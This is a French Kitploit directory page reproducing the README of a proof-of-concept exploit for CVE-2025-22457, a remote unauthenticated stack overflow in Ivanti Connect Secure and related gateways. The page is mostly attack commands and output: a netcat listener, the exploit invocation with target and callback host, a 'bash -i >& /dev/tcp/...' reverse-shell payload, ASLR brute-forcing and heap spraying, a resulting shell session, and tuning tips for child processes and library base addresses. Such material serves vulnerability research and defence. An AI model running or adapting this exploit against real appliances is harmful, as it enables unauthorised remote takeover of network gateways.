Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-22457 — Preuve de concept CVE-2025-22457 | Kitploit
Outils/GitHubGitHub/trone-ux/cve-2025-22457
Frameworks d'ExploitationAnalyse des VulnérabilitésExploitationShellcodeSécurité WebSécurité RéseauTests d'IntrusionRed TeamingOutil d'Accès à DistanceDéveloppement de Charges UtilesExploitation de Binaires
13il y a 1 anPas encore vérifié
GitHub
trone-ux/cve-2025-22457

CVE-2025-22457

Preuve de concept CVE-2025-22457

Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

PoC pour CVE-2025-22457

Un débordement de tampon basé sur la pile, exploitable à distance sans authentification, affectant Ivanti Connect Secure, Pulse Connect Secure, Ivanti Policy Secure et les passerelles ZTA

Vue d'ensemble

Ceci est une preuve de concept d'exploit pour démontrer l'exploitation de CVE-2025-22457. Pour une analyse technique complète de la vulnérabilité et de la stratégie d'exploitation, veuillez consulter notre analyse Rapid7 ici :

https://attackerkb.com/topics/0ybGQIkHzR/cve-2025-22457/rapid7-analysis

Utilisation

Nous pouvons exécuter ce script contre une cible Ivanti Connect Secure vulnérable, version 22.7r2.4, comme suit :

Démarrez un écouteur netcat pour recevoir le reverse shell.

root@kitploit:~
C:\>ncat -lnvkp 8080

Exécutez l'exploit et forcez l'ASLR par brute force (Cela sera lent).

root@kitploit:~
C:\>ruby CVE-2025-22457.rb -t 192.168.86.111 -p 443 --lhost 192.168.86.35 --lport 8080
[2025-04-10 16:21:13 +0100] [+] Targeting https://192.168.86.111:443/
[2025-04-10 16:21:13 +0100] [+] Payload: bash -i >& /dev/tcp/192.168.86.35/8080 0>&1
[2025-04-10 16:21:13 +0100] [+] Detected version 22.7.2.3597
[2025-04-10 16:21:13 +0100] [+] Starting...
[2025-04-10 16:21:13 +0100] [+] Attempt 0, trying libdsplibs.so @ 0xf64ca000
[2025-04-10 16:21:13 +0100]     Making connections...
[2025-04-10 16:21:18 +0100]     Spraying...
[2025-04-10 16:22:27 +0100]     Triggering..
Télécharger l’outil

Lorsque cela fonctionne, vous obtenez un reverse shell.

root@kitploit:~
C:\>ncat -lnvkp 8080
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::8080
Ncat: Listening on 0.0.0.0:8080
Ncat: Connection from 192.168.86.111.
Ncat: Connection from 192.168.86.111:20746.
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
bash-4.2$ id
id
uid=104(nr) gid=104(nr) groups=104(nr)
bash-4.2$ uname -a
uname -a
Linux localhost2 4.17.00.35-selinux-jailing-production #1 SMP Tue Jun 18 16:25:33 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
bash-4.2$

Débogage

Processus enfants Web

Selon le matériel sous-jacent, le nombre de CPU disponibles sur l'appliance cible déterminera le nombre de processus enfants que le binaire /home/bin/web engendrera. Comme toutes les requêtes HTTPS entrantes seront réparties uniformément entre ces enfants, nous devons en tenir compte et effectuer le heap spray suffisamment de fois pour tous les processus enfants. Nous devons faire cela car lorsque nous déclenchons la vulnérabilité, nous ne pouvons pas savoir dans quel processus enfant nous la déclencherons. Nous avons donc besoin que le heap spray soit présent dans chaque processus enfant.

  • 1 vCPU - 1 processus web, aucun enfant
  • 2 vCPU - 1 processus parent web, 2 enfants
  • 4 vCPU - 1 processus parent web, 4 enfants (C'est la valeur par défaut, et correspond à la plateforme Ivanti Connect Secure ISA4000-V)
  • 8 vCPU - 1 processus parent web, 8 enfants (Cela correspond à la plateforme Ivanti Connect Secure ISA6000-V)

Par exemple, sur une appliance vulnérable avec accès root, exécutez la commande suivante pour voir le nombre de processus enfants /home/bin/web :

root@kitploit:~
bash-4.2# ps -Al | grep web
ps -Al | grep web
4 S   104  3012  2394  0  80   0 - 26313 -      ?        00:00:00 web
4 S   104  3013  2394  0  80   0 - 24931 -      ?        00:00:00 web80
1 S   104  4947  3012  2  80   0 - 28209 -      ?        00:01:27 web
1 S   104  5217  3012  1  80   0 - 31527 -      ?        00:00:49 web
1 S   104  5695  3012  0  80   0 - 28199 -      ?        00:00:00 web
1 S   104  5715  3012  0  80   0 - 28199 -      ?        00:00:00 web
bash-4.2#

Vous pouvez spécifier le nombre attendu d'enfants web via l'argument --web_children, par exemple :

root@kitploit:~
C:\>ruby CVE-2025-22457.rb -t 192.168.86.111 -p 443 --lhost 192.168.86.35 --lport 8080 --web_children 4

Adresse de base de libdsplibs

Si vous testez le PoC sur un système local, vous pouvez éviter de faire du brute force sur l'adresse de base de libdsplibs. Dans ce scénario, vous pouvez passer une adresse de base connue au PoC via l'argument --libdsplibs. Par exemple, sur une appliance vulnérable avec accès root, exécutez la commande suivante :

root@kitploit:~
bash-4.2# ps -A| grep web
ps -A| grep web
 3200 ?        00:00:01 web80
20536 ?        00:00:02 web
bash-4.2# cat /proc/20536/maps | grep libdsplibs
cat /proc/20536/maps | grep libdsplibs
f642e000-f7994000 r-xp 00000000 fc:02 171879                             /home/lib/libdsplibs.so
f7994000-f7995000 ---p 01566000 fc:02 171879                             /home/lib/libdsplibs.so
f7995000-f79aa000 r--p 01566000 fc:02 171879                             /home/lib/libdsplibs.so
f79aa000-f79e3000 rw-p 0157b000 fc:02 171879                             /home/lib/libdsplibs.so
bash-4.2#

Ensuite, vous pouvez passer l'adresse de base connue au PoC comme suit :

root@kitploit:~
C:\>ruby CVE-2025-22457.rb -t 192.168.86.111 -p 443 --lhost 192.168.86.35 --lport 8080 --web_children 4 --libdsplibs 0xf642e000
[2025-04-10 16:21:13 +0100] [+] Targeting https://192.168.86.111:443/
[2025-04-10 16:21:13 +0100] [+] Payload: bash -i >& /dev/tcp/192.168.86.35/8080 0>&1
[2025-04-10 16:21:13 +0100] [+] Detected version 22.7.2.3597
[2025-04-10 16:21:13 +0100] [+] Starting...
[2025-04-10 16:21:13 +0100] [+] Attempt 0, trying libdsplibs.so @ 0xf642e000
[2025-04-10 16:21:13 +0100]     Making connections...
[2025-04-10 16:21:18 +0100]     Spraying...
[2025-04-10 16:22:27 +0100]     Triggering...